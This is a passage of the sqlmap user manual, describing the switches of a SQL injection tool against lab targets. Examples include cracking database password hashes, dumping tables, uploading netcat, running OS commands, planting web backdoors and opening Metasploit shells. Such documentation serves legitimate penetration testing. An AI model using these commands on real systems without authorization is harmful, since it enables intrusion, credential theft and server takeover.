This switch should be used in cases when the web server requires proper client-side certificate for authentication. Supplied values should be in the form: `key_file,cert_file`, where `key_file` should be the name of a PEM formatted file that contains your private key, while `cert_file` should be the name for a PEM formatted certificate chain file.

5.3.8 HTTP(S) proxy

Switches: `--proxy`, `--proxy-cred` and `--ignore-proxy`

It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) requests to the target URL. The syntax of HTTP(S) proxy value is `http://url:port`.

If the HTTP(S) proxy requires authentication, you can provide the credentials in the format `username:password` to the `--proxy-cred` switch.

If, for any reason, you need to stay anonymous, instead of passing by a single predefined HTTP(S) proxy server, you can configure a Tor client together with Privoxy (or similar) on your machine as explained on the Tor client guide and use the Privoxy daemon, by default listening on `127.0.0.1:8118`, as the sqlmap proxy.

The switch `--ignore-proxy` should be used when you want to run sqlmap against a target part of a local area network by ignoring the system-wide set HTTP(S) proxy server setting.

5.3.9 Delay between each HTTP request

Switch: `--delay`

It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a float, for instance `0.5` means half a second. By default, no delay is set.

5.3.10 Seconds to wait before timeout connection

Switch: `--timeout`

It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. By default **30 seconds** are set.

5.3.11 Maximum number of retries when the HTTP connection timeouts

Switch: `--retries`

It is possible to specify the maximum number of retries when the HTTP(S) connection timeouts. By default it retries up to **three times**.

5.3.12 Filtering targets from provided proxy log using regular expression

Switch: `--scope`

Rather than using all hosts parsed from provided logs with switch `-l`, you can specify valid Python regular expression to be used for filtering desired ones.

Example of valid syntax:

```
$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
```

5.3.13 Avoid your session to be destroyed after too many unsuccessful requests

Switches: `--safe-url` and `--safe-freq`

Sometimes web applications or inspection technology in between destroys the session if a certain number of unsuccessful requests is performed. This might occur during the detection phase of sqlmap or when it exploits any of the blind SQL injection types. Reason why is that the SQL payload does not necessarily returns output and might therefore raise a signal to either the application session management or the inspection technology.

To bypass this limitation set by the target, you can provide two switches:

- `--safe-url`: Url address to visit frequently during testing.

- `--safe-freq`: Test requests between two visits to a given safe url.

This way, sqlmap will visit every a predefined number of requests a certain *safe* URL without performing any kind of injection against it.

5.4 Optimization

These switches can be used to optimize the performance of sqlmap.

5.4.1 Bundle optimization

Switch: `-o`

This switch is an alias that implicitly sets the following switches:

- `--keep-alive`
- `--null-connection`
- `--threads 4`
- `--group-concat`

Read below for details about each switch.

5.4.2 Output prediction

Switch: `--predict-output`

TODO

5.4.3 HTTP Keep-Alive

Switch: `--keep-alive`

TODO

5.4.4 HTTP NULL connection

Switch: `--null-connection`

TODO

5.4.5 Concurrent HTTP(S) requests

Switch: `--threads`

It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do. This feature relies on the multi-threading concept and inherits both its pro and its cons.

This features applies to the brute-force switches and when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output in a single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query

output. The thread ends when that character is retrieved - it takes up to 7 HTTP(S) requests with the bisection algorithm implemented in sqlmap.

Note that the multi-threading switch does not affect any other SQL injection technique. The maximum number of concurrent requests is set to **10** for performance and site reliability reasons.

5.4.6 MySQL GROUP_CONCAT() speed up

Switch: `--group-concat`

TODO

5.5 Injection

These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts.

5.5.1 Testable parameter(s)

Switch: `-p`

By default sqlmap tests all `GET` parameters and `POST` parameters. When the value of `--level` is >= **2** it tests also HTTP `Cookie` header values. When this value is >= **3** it tests also HTTP `User-Agent` and HTTP `Referer` header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on the value of `--level` too.

For instance, to test for GET parameter `id` and for HTTP `User-Agent` only, provide `-p id,user-agent`.

5.5.2 Force the database management system name

Switch: `--dbms`

By default sqlmap automatically detects the web application's back-end database management system. As of version **0.9**, sqlmap fully supports the following database management systems:

- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- SQLite
- Firebird
- Sybase
- SAP MaxDB

If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identified or if you want to avoid an active fingeprint, you can provide the name of the back-end DBMS yourself (e.g. `postgresql`). For MySQL and Microsoft SQL Server provide them respectively in the form `MySQL <version>` and `Microsoft SQL Server <version>`, where `<version>` is a valid version for the DBMS; for instance `5.0` for MySQL and `2005` for Microsoft SQL Server.

In case you provide `--fingerprint` together with `--dbms`, sqlmap will only perform the extensive fingerprint for the specified database management system only, read below for further details.

Note that this option is **not** mandatory and it is strongly recommended to use it **only if you are absolutely sure** about the back-end database management system. If you do not know it, let sqlmap automatically fingerprint it for you.

5.5.3 Force the database management system operating system name

Switch: `--os`

By default sqlmap automatically detects the web application's back-end database management system underlying operating system when this information is a dependence of any other provided switch. At the moment the fully supported operating systems are two:

- Linux
- Windows

It is possible to force the operating system name if you already know it so that sqlmap will avoid doing it itself.

Note that this option is **not** mandatory and it is strongly recommended to use it **only if you are absolutely sure** about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.

5.5.4 Custom injection payload

Switches: `--prefix` and `--suffix`

In some circumstances the vulnerable parameter is exploitable only if the user provides a specific suffix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and suffix.

Example of vulnerable source code:

```
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
```

To detect and exploit this SQL injection, you can either let sqlmap detect the **boundaries** (as in combination of SQL payload prefix and suffix) for you during the detection phase, or provide them on your own. For example:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
  -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]
```

This will result in all sqlmap requests to end up in a query as follows:

```
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
```

Which makes the query syntactically correct.

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide custom boundaries, but sometimes in real world application it is necessary to provide it when the injection point is within nested `JOIN` queries for instance.

5.5.5 Tamper injection data

Switch: `--tamper`

TODO

5.6 Detection

These options can be used to specify how to parse and compare page content from HTTP responses when using blind SQL injection technique.

5.6.1 Level

Switch: `--level`

TODO

5.6.2 Risk

Switch: `--risk`

TODO

5.6.3 TODO: Page comparison

Switches: `--string` and `--regexp`

By default the distinction of a True query by a False one (basic concept for Inferential blind SQL injection attacks) is done comparing injected requests page content MD5 hash with the original not injected page content MD5 hash. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is **always** present on the not injected page **and** on all True injected query pages, but that it is **not** on the False ones. This can also be achieved by providing a regular expression. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original (not injected) page content with the injected wrong page content to identify which string or regular expression match is on not injected and True page only. This way the distinction will be based upon string presence or regular expression match and not page MD5 hash comparison.

As you can see, the string after `Dynamic content` changes its value every second. In the example it is just a call to PHP `time()` function, but on the real world it is usually much more than that.

Looking at the HTTP responses page content you can see that the first five lines of code do not change at all. So choosing for instance the word `luther` as an output that is on the not injected page content and it

is not on the False page content (because the query condition returns no output so `luther` is not displayed on the page content) and passing it to sqlmap, you are able to inject anyway.

You can also specify a regular expression to match rather than a string if you prefer.

As you can see, when one of these options is specified, sqlmap skips the URL stability test.

Consider one of these options a MUST when dealing with a page with content that changes itself at each refresh without modifying the user's input.

5.7 Techniques

These options can be used to tweak how specific SQL injection techniques are tested.

5.7.1 Seconds to delay the DBMS response for time-based blind SQL injection

Switch: `--time-sec`

It is possible to set the seconds to delay the response when testing for time-based blind SQL injection, by providing the `--time-sec` option followed by an integer. By default delay is set to **5 seconds**.

5.7.2 TODO

Switch: `--union-cols`

TODO

5.7.3 TODO

Switch: `--union-char`

TODO

5.8 Fingerprint

5.8.1 TODO: Extensive database management system fingerprint

Switches: `-f` or `--fingerprint`

By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing these value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected. Depending on the DBMS being tested, a SQL dialect syntax which is syntatically correct depending upon the back-end DBMS is also tested.

After identifying an injectable vector, sqlmap fingerprints the back-end database management system and go ahead with the injection with its specific syntax within the limits of the database architecture.

As you can see, sqlmap automatically fingerprints the web server operating system and the web application technology by parsing some HTTP response headers.

If you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the `--fingerprint` option.

As you can see from the last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the back-end database management system name with option `--dbms`.

If you want an even more accurate result, based also on banner parsing, you can also provide the `-b` or `--banner` option.

As you can see, sqlmap was also able to fingerprint the back-end DBMS operating system by parsing the DBMS banner value.

As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.

5.9 Enumeration

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

5.9.1 Banner

Switch: `-b` or `--banner`

Most of the modern database management systems have a function and/or an environment variable which returns the database management system version and eventually details on its patch level, the underlying system. Usually the function is `version()` and the environment variable is `@@version`, but this vary depending on the target DBMS.

5.9.2 Session user

Switch: `--current-user`

On the majority of modern DBMSes is possible to retrieve the database management system's user which is effectively performing the query against the back-end DBMS from the web application.

5.9.3 Current database

Switch: `--current-db`

It is possible to retrieve the database management system's database name that the web application is connected to.

5.9.4 Detect whether or not the session user is a database administrator

Switch: `--is-dba`

It is possible to detect if the current database management system session user is a database administrator, also known as DBA. sqlmap will return `True` if it is, viceversa `False`.

5.9.5 List database management system users

Switch: `--users`

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the list of users.

5.9.6 List and crack database management system users password hashes

Switches: `--passwords` and `-U`

When the session user has read access to the system table containing information about the DBMS users' passwords, it is possible to enumerate the password hashes for each database management system user. sqlmap will first enumerate the users, then the different password hashes for each of them.

Example against a PostgreSQL target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/tmp/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/tmp/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass
```

Not only sqlmap enumerated the DBMS users and their passwords, but it also recognized the hash format to be PostgreSQL, asked the user whether or not to test the hashes against a dictionary file and identified the clear-text password for the `postgres` user, which is usually a DBA along the other user, `testuser`, password.

This feature has been implemented for all DBMS where it is possible to enumerate users' password hashes, including Oracle and Microsoft SQL Server pre and post 2005.

You can also provide the `-U` option to specify the specific user who you want to enumerate and eventually crack the password hash(es). If you provide `CU` as username it will consider it as an alias for current user and will retrieve the password hash(es) for this user.

5.9.7 List database management system users privileges

Switches: `--privileges` and `-U`

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the privileges for each database management system user. By the privileges, sqlmap will also show you which are database administrators.

You can also provide the `-U` option to specify the user who you want to enumerate the privileges.

If you provide `CU` as username it will consider it as an alias for current user and will enumerate the privileges for this user.

5.9.8 List database management system users roles

Switches: `--roles` and `-U`

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the roles for each database management system user.

You can also provide the `-U` option to specify the user who you want to enumerate the privileges.

If you provide `CU` as username it will consider it as an alias for current user and will enumerate the privileges for this user.

This feature is only available when the DBMS is Oracle.

5.9.9 List database management system's databases

Switch: `--dbs`

When the session user has read access to the system table containing information about available databases, it is possible to enumerate the list of databases.

Note that this feature is not available if the database management system is Oracle.

5.9.10 Enumerate database's tables

Switches: `--tables` and `-D`

When the session user has read access to the system table containing information about databases' tables, it is possible to enumerate the list of tables for a specific database management system's databases.

If you do not provide a specific database with switch `-D`, sqlmap will enumerate the tables for all DBMS databases.

Note that on Oracle you have to provide the `TABLESPACE_NAME` instead of the database name.

5.9.11 Enumerate database table columns

Switches: `--columns`, `-C`, `-T` and `-D`

When the session user has read access to the system table containing information about database's tables, it is possible to enumerate the list of columns for a specific database table. sqlmap also enumerates the data-type for each column.

This feature depends on the option `-T` to specify the table name and optionally on `-D` to specify the database name. When the database name is not specified, the current database name is used. You can also provide the `-C` option to specify the table columns name like the one you provided to be enumerated.

Example against a SQLite target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb \
  -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
```

```
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+
```

Note that on PostgreSQL you have to provide `public` or the name of a system database. That's because it is not possible to enumerate other databases tables, only the tables under the schema that the web application's user is connected to, which is always aliased by `public`.

5.9.12 Dump database table entries

Switches: `--dump`, `-C`, `-T`, `-D`, `--start`, `--stop`, `--first` and `--last`

When the session user has read access to a specific database's table it is possible to dump the table entries.

This functionality depends on switch `-T` to specify the table name and optionally on switch `-D` to specify the database name. If the table name is provided, but the database name is not, the current database name is used.

Example against a Firebird target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+
```

You can also provide a comma-separated list of the specific columns to dump with the `-C` switch.

sqlmap also generates for each table dumped the entries in a CSV format textual file. You can see the absolute path where sqlmap creates the file by providing a verbosity level greater than or equal to **1**.

If you want to dump only a range of entries, then you can provide switches `--start` and/or `--stop` to respectively start to dump from a certain entry and stop the dump at a certain entry. For instance, if you want to dump only the first entry, provide `--stop 1` in your command line. Vice versa if, for instance, you want to dump only the second and third entry, provide `--start 1 --stop 3`.

It is also possible to specify which single character or range of characters to dump with switches `--first` and `--last`. For instance, if you want to dump columns' entries from the third to the fifth character, provide `--first 3 --last 5`. This feature only applies to the blind SQL injection techniques because for error-based and UNION query SQL injection techniques the number of requests is exactly the same, regardless of the length of the column's entry output to dump.

As you know by down, sqlmap is **flexible**. You can leave it to automatically enumerate the whole database table or you can be very precise in which characters to dump, from which columns and which range of entries.

5.9.13 Dump all databases tables entries

Switches: `--dump-all` and `--exclude-sysdbs`

It is possible to dump all databases tables entries at once that the session user has read access on.

You can also provide the `--exclude-sysdbs` switch to exclude all system databases. In that case sqlmap will only dump entries of users' databases tables.

Note that on Microsoft SQL Server the `master` database is not considered a system database because some database administrators use it as a users' database.

5.9.14 Search for columns, tables or databases

Switches: `--search`, `-C`, `-T`, `-D`

TODO

5.9.15 Run custom SQL statement

Switches: `--sql-query` and `--sql-shell`

The SQL query and the SQL shell features allow to run arbitrary SQL statements on the database management system. sqlmap automatically dissects the provided statement, determines which technique is appropriate to use to inject it and how to pack the SQL payload accordingly.

If the query is a `SELECT` statement, sqlmap will retrieve its output. Otherwise it will execute the query through the stacked query SQL injection technique if the web application supports multiple statements on the back-end database management system. Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.

Examples against a Microsoft SQL Server 2000 target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
```

```
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'
```

As you can see, sqlmap splits the provided query into two different `SELECT` statements then retrieves the output for each separate query.

If the provided query is a `SELECT` statement and contains a `FROM` clause, sqlmap will ask you if such statement can return multiple entries. In that case the tool knows how to unpack the query correctly to count the number of possible entries and retrieve its output, entry per entry.

The SQL shell option allows you to run your own SQL statement interactively, like a SQL console connected to the database management system. This feature provides TAB completion and history support too.

5.10 Brute force

These options can be used to run brute force checks.

5.10.1 Brute force tables names

Switches: `--common-tables`

TODO

5.10.2 Brute force columns names

Switches: `--common-columns`

TODO

5.11 User-defined function injection

These options can be used to create custom user-defined functions.

5.11.1 Inject custom user-defined functions (UDF)

Switches: `--udf-inject` and `--shared-lib`

You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control .

Use switch `--udf-inject` and follow the instructions.

If you want, you can specify the shared library local file system path via command line too by using `--shared-lib` option. Vice versa sqlmap will ask you for the path at runtime.

This feature is available only when the database management system is MySQL or PostgreSQL.

5.12 File system access

5.12.1 Read a file from the database server's file system

Switch: `--file-read`

It is possible to retrieve the content of files from the underlying file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control .

Example against a Microsoft SQL Server 2005 target to retrieve a binary file:

```
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/tmp/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
```

5.12.2 Upload a file to the database server's file system

Switches: `--file-write` and `--file-dest`

It is possible to upload a local file to the database server's file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. The file specified can be either a textual or a binary file. sqlmap will handle it properly.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control .

Example against a MySQL target to upload a binary UPX-compressed file:

```
$ file /tmp/nc.exe.packed
/tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /tmp/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
  "/tmp/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
```

```
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/tmp/nc.exe.packed'
```

5.13 Operating system takeover

5.13.1 Run arbitrary operating system command

Switches: `--os-cmd` and `--os-shell`

It is possible to **run arbitrary commands on the database server's underlying operating system** when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.

On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, `sys_exec()` and `sys_eval()`, then it creates these two functions on the database and calls one of them to execute the specified command, depending on user's choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the `xp_cmdshell` stored procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), sqlmap re-enables it; if it does not exist, sqlmap creates it from scratch.

When the user requests the standard output, sqlmap uses one of the enumeration SQL injection techniques (blind, inband or error-based) to retrieve it. Vice versa, if the standard output is not required, stacked query SQL injection technique is used to execute the command.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control .

Example against a PostgreSQL target:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
  --os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
```

```
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually
```

It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The option is `--os-shell` and has the same TAB completion and history functionalities that `--sql-shell` has.

Where stacked queries has not been identified on the web application (e.g. PHP or ASP with back-end database management system being MySQL) and the DBMS is MySQL, it is still possible to abuse the `SELECT` clause's `INTO OUTFILE` to create a web backdoor in a writable folder within the web server document root and still get command execution assuming the back-end DBMS and the web server are hosted on the same server. sqlmap supports this technique and allows the user to provide a comma-separated list of possible document root sub-folders where try to upload the web file stager and the subsequent web backdoor. Also, sqlmap has its own tested web file stagers and backdoors for the following languages:

- ASP
- ASP.NET
- JSP
- PHP

5.13.2 Out-of-band stateful connection: Meterpreter & friends

Switches: `--os-pwn`, `--os-smbrelay`, `--os-bof`, `--priv-esc`, `--msf-path` and `--tmp-path`

It is possible to establish an **out-of-band stateful TCP connection between the attacker machine and the database server** underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.

sqlmap relies on Metasploit to create the shellcode and implements four different techniques to execute it on the database server. These techniques are:

- Database **in-memory execution of the Metasploit's shellcode** via sqlmap own user-defined function `sys_bineval()`. Supported on MySQL and PostgreSQL - switch `--os-pwn`.
- Upload and execution of a Metasploit's **stand-alone payload stager** via sqlmap own user-defined function `sys_exec()` on MySQL and PostgreSQL or via `xp_cmdshell()` on Microsoft SQL Server - switch `--os-pwn`.
- Execution of Metasploit's shellcode by performing a **SMB reflection attack** (MS08-068) with a UNC path request from the database server to the attacker's machine where the Metasploit `smb_relay` server exploit listens. Supported when running sqlmap with high privileges (`uid=0`) on Linux/Unix and the target DBMS runs as Administrator on Windows - switch `--os-smbrelay`.
- Database in-memory execution of the Metasploit's shellcode by exploiting **Microsoft SQL Server 2000 and 2005 `sp_replwritetovarbin` stored procedure heap-based buffer overflow** (MS09-004). sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection

bypass, but it relies on Metasploit to generate the shellcode to get executed upon successful exploitation - switch `--os-bof`.

These techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database .

Example against a MySQL target:

```
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int_51.aspx?id=1" \
  --os-pwn -v 1 --msf-path /tmp/metasploit

[...]
TODO
```

By default MySQL on Windows runs as `SYSTEM`, however PostgreSQL runs as a low-privileged user `postgres` on both Windows and Linux. Microsoft SQL Server 2000 by default runs as `SYSTEM`, whereas Microsoft SQL Server 2005 and 2008 run most of the times as `NETWORK SERVICE` and sometimes as `LOCAL SERVICE`.

It is possible to provide sqlmap with the `--priv-esc` switch to perform a **database process' user privilege escalation** via Metasploit's `getsystem` command which include, among others, the kitrap0d technique (MS10-015).

5.14 Windows registry access

It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the web application supports stacked queries. Also, session user has to have the needed privileges to access it.

5.14.1 Read a Windows registry key value

Switch: `--reg-read`

Using this option you can read registry key values.

5.14.2 Write a Windows registry key value

Switch: `--reg-add`

Using this option you can write registry key values.

5.14.3 Delete a Windows registry key

Switch: `--reg-del`

Using this option you can delete registry keys.

5.14.4 Auxiliary registry switches

Switches: `--reg-key`, `--reg-value`, `--reg-data` and `--reg-type`

These switches can be used to provide data needed for proper running of options `--reg-read`, `--reg-add` and `--reg-del`. So, instead of providing registry key information when asked, you can use them at command prompt as program arguments.

With `--reg-key` option you specify used Windows registry key path, with `--reg-value` value item name inside provided key, with `--reg-data` value data, while with `--reg-type` option you specify type of the value item.

A sample command line for adding a registry key hive follows:

```
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \
  --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
```

5.15 General

5.15.1 TODO

Switch: `-t`

TODO

5.15.2 Session file: save and resume data retrieved

Switch: `-s`

By default sqlmap logs all queries and their output into a textual file called *session file*, regardless of the technique used to extract the data. This is useful if you stop the injection for any reason and rerun it afterwards: sqlmap will parse the session file and resume enumerated data from it, then carry on extracting data from the exact point where it left before you stopped the tool.

The default session file is `output/TARGET_URL/session`, but you can specify a different file path with `-s` switch.

The session file has the following structure:

```
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
```

A more user friendly textual file where all data retrieved is saved, is the *log file*, `output/TARGET_URL/log`. This file can be useful to see all information enumerated to the end.

5.15.3 Flush session file

Switch: `--flush-session`

As you are already familiar with the concept of a session file from the description above, it is good to know that you can flush the content of that file using option `--flush-session`. This way you can avoid the caching mechanisms implemented by default in sqlmap. Other possible way is to manually remove the session file(s).

5.15.4 Estimated time of arrival

Switch: `--eta`

It is possible to calculate and show in real time the estimated time of arrival to retrieve each query output. This is shown when the technique used to retrieve the output is any of the blind SQL injection types.

Example against an Oracle target affected only by boolean-based blind SQL injection:

```
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                          ] 11/64  ETA 00:19
```

Then:

```
100% [==================================================] 64/64
[10:28:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
```

As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved output characters.

5.15.5 Update sqlmap

Switch: `--update`

Using this option you can update the tool to the latest development version directly from the subversion repository. You obviously need Internet access.

If, for any reason, this operation fails, run `svn update` from your sqlmap working copy. It will perform the exact same operation of switch `--update`. If you are running sqlmap on Windows, you can use the TartoiseSVN client by right-clicking in Windows Explorer into your sqlmap working copy and clicking on `Update`.

This is strongly recommended **before** reporting any bug to the mailing lists .

5.15.6 Save options in a configuration INI file

